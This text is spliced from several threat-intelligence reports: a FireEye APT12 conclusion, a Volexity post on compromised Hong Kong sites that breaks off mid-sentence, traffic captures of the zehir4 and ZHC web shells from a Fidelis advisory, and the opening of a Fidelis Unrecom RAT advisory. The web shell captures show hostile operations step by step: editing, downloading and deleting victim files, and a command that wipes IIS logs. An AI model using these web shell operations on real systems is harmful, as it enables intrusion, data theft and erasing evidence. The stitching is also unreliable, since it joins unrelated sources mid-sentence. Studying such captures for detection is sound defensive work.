decrease malware detection while APT12 developed a completely new malware toolset. These development efforts may have resulted in the emergence of the WATERSPOUT backdoor. Figure 7: Compile dates for all three malware families APT12 s adaptations to public disclosures lead FireEye to make several conclusions about this threat group: APT12 closely monitors online media related to its tools and operations and reacts when its tools are publicly disclosed. APT12 has the ability to adapt quickly to public exposures with new tools, tactics, and procedures (TTPs). Public disclosures may result in an immediate change in APT12 s tools. These changes may be temporary and FireEye believes they are aimed at decreasing detection of their tools until a more permanent and effective TTP change can be implemented (e.g., WATERSPOUT). Though public disclosures resulted in APT12 adaptations, FireEye observed only a brief pause in APT12 activity before the threat actors returned to normal activity levels. Similarly, the public disclosure of APT12 s intrusion at the New York Times also led to only a brief pause in the threat group s activity and immediate changes in TTPs. The pause and retooling by APT12 was covered in the Mandiant 2014 MTrends report. Currently, APT12 continues to target organizations and conduct cyber operations using its new tools. Most recently, FireEye observed HIGHTIDE at multiple Taiwan-based organizations and the suspected APT12 WATERSPOUT backdoor at a Japan-based electronics company. We expect that APT12 will continue their trend and evolve and change its tactics to stay ahead of network defenders. Note: IOCs for this campaign can be found here. This entry was posted in Botnets, Targeted Attack, Threat Intelligence, Threat Research and tagged advanced malware, advanced persistent threat, advanced targeted attack, advanced threat actor, APT12, Targeted Attack by Ned Moran, Mike Oppenheim, Sarah Engle and Richard Wartell. Bookmark the permalink. Democracy in Hong Kong Under Attack Posted on October 9, 2014 by Steven Adair Over the last few months, Volexity has been tracking a particularly remarkable advanced persistent threat (APT) operation involving strategic web compromises of websites in Hong Kong and Japan. In both countries, the compromised websites have been particularly notable for their relevance to current events and the high profile nature of the organizations involved. In particular the Hong Kong compromises appear to come on the heels of the Occupy Central Campaign shifting into high gear. These compromises were discovered following the identification of malicious JavaScript that had been added to legitimate code on the impacted websites. This code meant that visitors were potentially subjected to exploit and malicious Java Applets designed to install malware on their systems. While investigating these cases, Volexity also discovered additional APT attack campaigns involving multiple other pro-democratic websites in Hong Kong. These attempts at exploitation, compromise, and digital surveillance are detailed throughout this post. Compromised Pro-Democratic Hong Kong Websites Warning: Many of these websites may still be compromised and present a risk to visitors. Browse with caution. Alliance for True Democracy Hong Kong Over the last two days, Volexity has observed malicious code being served up from the website of the Alliance for True Democracy (ATD) in Hong Kong (www.atd.hk). ATD is an alliance of people and organizations dedicated to democracy and universal suffrage in Hong Kong. At the time of this writing malicious code is still live on the website, so please visit with care until the website is clean. Below is a screen shot of the malicious code references found pre-pended to a JavaScript file on the website named superfish.js. This JavaScript file is called from other parts of the website and effectively nests the loading of additional JavaScript written and interpeted as: System Test GET /zehir4.asp?mevla=1&status=40 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF ---- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 05:11:56 GMT X-Powered-By: ASP.NET Content-Length: 1284 Content-Type: text/html Cache-control: private zehir3 --> powered by zehir <zehirhacker@hotmail.com>
KonumSonu.
C:\yazma yetkisi yok! : [Object required]
Local Path yazma yetkisi yok! : [Object required]
Local Path
Parent Folder		Folder : 5
File : 0
Local Path
P.Parent Folder		Folder : 11
File : 10
Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 16 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 SQL Server GET /zehir4.asp?mevla=1&status=15 HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF ---- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Sun, 23 Feb 2014 05:18:07 GMT X-Powered-By: ASP.NET Content-Length: 1169 Content-Type: text/html Cache-control: private zehir3 --> powered by zehir <zehirhacker@hotmail.com>
SQL Server i.in connection string giriniz

Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 17 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Network traffic observed when the following fake connection string is written in the box and the button is pressed: Server=myServerName\myInstanceName;Database=myDataBase;User Id=myUsername; Password=myPassword; /zehir4.asp?status=7&Time=12%3A18%3A07+AM&path=Server%3DmyServerName%5CmyInsta nceName%3BDatabase%3DmyDataBase%3BUser+Id%3DmyUsername%3B&submit1=SQL+Serv era+Ba%F0lan HTTP/1.1 Accept: */* Referer: http://192.168.1.1/zehir4.asp?mevla=1&status=15 Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDSSCDSDDD=JIKFODEDDBNCNBBCNLEIDBNF A file named TEST_FILE.txt is open for edit /zehir4.asp?status=10&dPath=C:\Inetpub\wwwroot\TEST_FILE.txt&path=c:\inetpub\wwwroot\&Ti me=10:26:25%20AM HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDQQQDQQRR=NNJJONABAFAKHJEDJMMCNDBI ---- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 15:26:52 GMT X-Powered-By: ASP.NET Content-Length: 3901 Content-Type: text/html Cache-control: private zehir3 --> powered by zehir <zehirhacker@hotmail.com>
System Info | Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 18 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 System Test | Sites Test | Folder Action | SQL Server | POWERED BY ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------
Path :


.
S.r.c.ler
;Floppy [A:]
;HardDisk [C:]
;CD-Rom [D:]
H Local Path

When the following data is added to the TEST_FILE.txt file opened for edit: Hacked by STTEAM POST /zehir4.asp?Time=11:19:52%20AM HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp?status=10&dPath=C:\Inetpub\wwwroot\TEST_FILE.txt&path=c:\inetp ub\wwwroot\&Time=11:19:41 AM Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 19 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Content-Length: 175 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM ---- RESPONSE ---HTTP/1.1 100 Continue Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:20:07 GMT X-Powered-By: ASP.NET status=11&dPath=C%3A%5CInetpub%5Cwwwroot%5CTEST_FILE.txt&Path=c%3A%5Cinetpub% 5Cwwwroot%5C&dkayit=THIS+IS+THE+CONTENT+OF+THE+%22TEST_FILE.TXT%22.%0D%0 A%0D%0AHacked+by+STTEAM%21 A file named TEST_FILE.txt is open for edit /zehir4.asp?status=3&Path=c:\inetpub\wwwroot\&Del=c:\inetpub\wwwroot\/TEST_FILE.txt&Time=11:19:41%2 0AM HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-msapplication, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.msexcel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM ---- RESPONSE ---HTTP/1.1 302 Object moved Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:26:10 GMT X-Powered-By: ASP.NET Location: zehir4.asp?status=2&path=c:\inetpub\wwwroot\&Time=11:26:10%20AM&byMsg=File% 20Deleted%20Successful;)
Content-Length: 121 Content-Type: text/html Cache-control: private Object moved

Object Moved

This object may be found here. ---- REQUEST ---GET /zehir4.asp?status=2&path=c:\inetpub\wwwroot\&Time=11:26:10%20AM&byMsg=File Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 20 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 %20Deleted%20Successful;)
HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-msapplication, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.msexcel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/zehir4.asp Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASPSESSIONIDCSDRBCRC=OJOLKHLBCKEJIMJFNOHPPGKM ---- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:26:10 GMT X-Powered-By: ASP.NET Content-Length: 13634 Content-Type: text/html Cache-control: private File Deleted Successful;)
zehir3 --> powered by zehir <zehirhacker@hotmail.com> ---------------------------------------- TRUNCATED BY ANALYST --------------------------------------------------- K-Shell/ZHC Shell 1.0/Aspx Shell Backdoor: ZHC_Shell_1.0.aspx Backdoor script is first accessed GET /ZHC_Shell_1.0.aspx HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 16:47:52 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3387 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 21 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020


Aspx Shell By XXx_Death_xXX & ZHC

[ Command Prompt ]

(Note: Please CLICK "RUN" in order to execute the command)

Command:

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ZHC Shell 1.0 • 2011
By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 ---- REQUEST ---POST /ZHC_Shell_1.0.aspx?action=cmd3 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?action=cmd3 Accept-Language: en-us Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 47 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Host: 192.168.1.1 Content-Length: 408 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTEzODY2ODE5 NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkGAEFHl9fQ29udHJv bHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXdEaXJlY3RvcnkFDE5ld0Rpcm VjdG9yeVsWlNx5Na0HFMN2RRO%2BceR1t%2BaS&cmd3=del+C%3A%5CWINDOWS%5Csyst em32%5CLogFiles%5CW3SVC1%5C*.log&Button12345=Run&__EVENTVALIDATION=%2FwE WAwLrm6SaCAKzmb3RBgKQ2MH4A3%2BQhRm9X8qGmlKZOcwCozua3cwJ Edit option selected to modify the contents of a file Filename: TEST_FILE.TXT Data added: Hacked by STTEAM! GET /ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe ---- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:09:48 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3555 Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 48 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020


Aspx Shell By XXx_Death_xXX & ZHC
Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 49 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020
Path *
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ZHC Shell 1.0 • 2011
Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 50 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 ---- REQUEST ---POST /ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?action=edit&src=c%3a%5cinetpub%5cwwwroot%5cTEST _FILE.TXT Accept-Language: en-us Content-Type: multipart/form-data; boundary=---------------------------7de26c3b270192 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Content-Length: 1096 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe ---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------------------------------------7de26c3b270192 Content-Disposition: form-data; name="__EVENTTARGET" -----------------------------7de26c3b270192 Content-Disposition: form-data; name="__EVENTARGUMENT" -----------------------------7de26c3b270192 Content-Disposition: form-data; name="__VIEWSTATE" /wEPDwULLTEzODY2ODE5NzYPZBYCAgsPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLW RhdGFkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYDBQdOZXdGaWxlBQxOZXd EaXJlY3RvcnkFDE5ld0RpcmVjdG9yeVsWlNx5Na0HFMN2RRO+ceR1t+aS -----------------------------7de26c3b270192 Content-Disposition: form-data; name="filepath" c:\inetpub\wwwroot\TEST_FILE.TXT -----------------------------7de26c3b270192 Content-Disposition: form-data; name="content" DATA IN "TEST_FILE.TXT". Hacked by STTEAM! -----------------------------7de26c3b270192 Content-Disposition: form-data; name="a" Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 51 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Sumbit -----------------------------7de26c3b270192 Content-Disposition: form-data; name="__EVENTVALIDATION" /wEWBALrm6SaCAKwgsKBDALW4bf/BAK/76ruDDFHkmmcWzwDRZCn6yFg1uYyRvu7 -----------------------------7de26c3b270192----- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:09:59 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 3749


---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- Aspx Shell By XXx_Death_xXX & ZHC
Path *
Content
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ZHC Shell 1.0 • 2011
By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- The following window was displayed during this operation: File Downloaded from Victim system into the attacker s system Filename: TEST_FILE.txt Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 53 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 /ZHC_Shell_1.0.aspx?action=down&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?action=goto&src=c%3a%5cinetpub%5cwwwroot%5c Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe ---- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:23:24 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Disposition: attachment; filename=TEST_FILE.TXT Content-Length: 45 Cache-Control: private Content-Type: application/octet-stream; charset=UTF-8 DATA IN "TEST_FILE.TXT". Hacked by STTEAM! The following window was displayed during this operation: option selected to delete a file Filename: TEST_FILE.txt GET /ZHC_Shell_1.0.aspx?action=del&src=c%3a%5cinetpub%5cwwwroot%5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 54 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe ---- RESPONSE ---HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:29:11 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 1920


---------------------------------------- TRUNCATED BY ANALYST ------------------------------------------------- Aspx Shell By XXx_Death_xXX & ZHC

ZHC Shell 1.0 • 2011
By XXx_Death_xXX Of ZCompany Hacking Crew • zone-hack.com #ZHC

 ---- REQUEST ---GET /ZHC_Shell_1.0.aspx?action=goto&src=c%3a%5cinetpub%5cwwwroot%5c HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 55 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionId=fqcod255iety0a55x3acuaqe The following window was displayed during this operation: Reminder for network defenders The K-Shell / ZHC Shell 1.0 / Aspx Shell backdoor links two images. If the script was at some point running in the network, the following GET request will most likely be present in forensic logs: GET /img851/2304/bismillahus.jpg HTTP/1.1 Accept: */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: img851.imageshack.us Connection: Keep-Alive ----------------------------------------------------------------------------------------------------------------------------------GET /hphotos-ak-snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg HTTP/1.1 Accept: */* Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C) Host: a6.sphotos.ak.fbcdn.net Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 56 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Connection: Keep-Alive The Fidelis Take It is clear from this paper that there continues to be considerable global activity involving threat actors attacking the Oil & Gas industry, and State government in the Middle East. We are publishing these indicators so that others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated. Fidelis XPS , the Advanced Threat Defense solution from General Dynamics Fidelis Cybersecurity Solutions detects all of the activity documented in this paper. The Fidelis Threat Research Team will continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the latest threats to our customers security. Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Threat Advisory #1012 Page 57 of 57 Rev1.1 2014-02-23 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Fidelis Threat Advisory #1013 jar: phishing campaign using Unrecom May 21, 2014 Document Status: Last Revised: 2014-05-21 Executive Summary In the past two weeks, we have observed an increase in attack activity against the U.S. state and local government, technology, advisory services, health, and financial sectors through phishing emails with what appears to be a remote access trojan (RAT) known as Unrecom. The attack has also been observed against the financial sector in Saudi Arabia and Russia. As Unrecom is a comprehensive multi-platform Java-based remote access tool, currently not detected by most AntiVirus products, it presents a risk to a large number of potential victims, regardless of operating system. The following is a screenshot of the Unrecom RAT v.2.0 (Version in Spanish): Over time, various reports in the community have documented the evolution of this tool. This evolution is to be expected, but its low detection rate, recent use this month through phishing emails campaigns against multiple sectors in the U.S. and association with past campaigns involving a variety of RATs captured our attention. The evolution of Unrecom RAT dates from its beginnings as a tool known as Frutas RAT, subsequently branded as Adwind RAT, and now Unrecom RAT. In 2013, it was reported that Frutas RAT was used in phishing email campaigns against high profile companies in Europe and Asia in sectors such as finance, mining, telecom, and government . Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Security Systems, Inc. While we have done our best to ensure that the material found in this document is accurate, Fidelis Security Systems, Inc. makes no guarantee that the information contained herein is error free. Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev. 2014-05-21 Threat Advisory #1013 Page 1 of 16 RAT in a jar: A phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 Unrecom RAT provides the attacker with full control over the compromised system, once infected. It has some of the following capabilities: Collection of System Information (e.g. IP, OS version, memory RAM information, Java version, Computer Name, User account compromised, etc.) Upload & Execute additional malware, typically exploiting vulnerabilities derived from collected system information Capture Webcam and Microphone, without user notification Remote Desktop to watch user activity File Manager allowing access to files in the context of the current user Browser Password theft Keylogging to capture passwords otherwise obscured from viewing In the past, variants of the DarkComet and AcromRAT malware have also been observed beaconing to the same Command & Control (CnC) servers used by the Unrecom RAT in this campaign. This document will provide information about the recent phishing campaigns observed with this RAT and some of the network indicators. Threat Overview The increased threat activity against the U.S. state and local government, technology, advisory services, and health sectors in the past two weeks is of great concern to us as it is being carried through phishing emails with what appears to be a tool known as Unrecom RAT. The phishing emails try to trick the users into thinking the emails are legitimate by attaching the RAT with the some of the following names: Payment Invoice.jar, Payment details.jar, POR#94586.zip/POR#94586.jar, INV#94586.zip/INV#94586.jar, Invitation.jar, reports-pdf.jar, US$25k.jar, and DBC_BANK_IMG_23456_156.jar, and lremit_Transfer_Error_Page.jar. Some of the email message subjects observed during this campaign are: Subject: Thank you Subject: FW: URGENT CONFIRMATION P/I #94578 Subject: Invitation Subject: Payment details Subject: Transfer Investigation report Subject: US$25,000 TT COPY ATTACHED Subject: Remittance Error 2089/234- Reported lost of data (Complete and email back) Subject: Transfer error, kindly reverse to us. It appears that the latest version of this RAT is 3.2 and is being sold at unrecom[.]net for $500 (Enterprise Version) and $200 (Full Version). We find it interesting that on their website, the authors of this software recommend Unrecom RAT buyers to not scan created servers (malware deployed to Victim systems) at Virustotal nor Metascan. This is Copyright 2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-05-21 Threat Advisory #1013 Page 2 of 16 RAT in a jar: a phishing campaign using Unrecom www.fidelissecurity.com www.threatgeek.com @FidSecSys +1800.652.4020 indicative of the adaptive, counter-intelligence techniques being adopted as threat actors become aware that many security researchers use these services to gather threat intelligence. Significantly, malware objects seen in previous campaigns like DarkComet and ArcomRAT have also been observed beaconing to the same CnC servers Unrecom RAT is currently using. DarkComet is known to be a popular RAT used in threat activity in the Middle East . Risk Assessment A remote access tool provides an attacker with full control over the victim system. Once a system has been compromised, the attacker may install one or more backdoors. These backdoors provide a persistent foothold, using a separate command and control channel; allowing future access less likely to be correlated to the original activity. Through its modular plugin framework, this particular tool lets the attacker obtain System Information (e.g. IP, OS version, memory RAM information, Java version, Computer Name, User account compromised, etc.), Upload & Execute additional malware, Capture Webcam, Remote Desktop, File Manager, Browser Password Recovery, Capture Microphone, 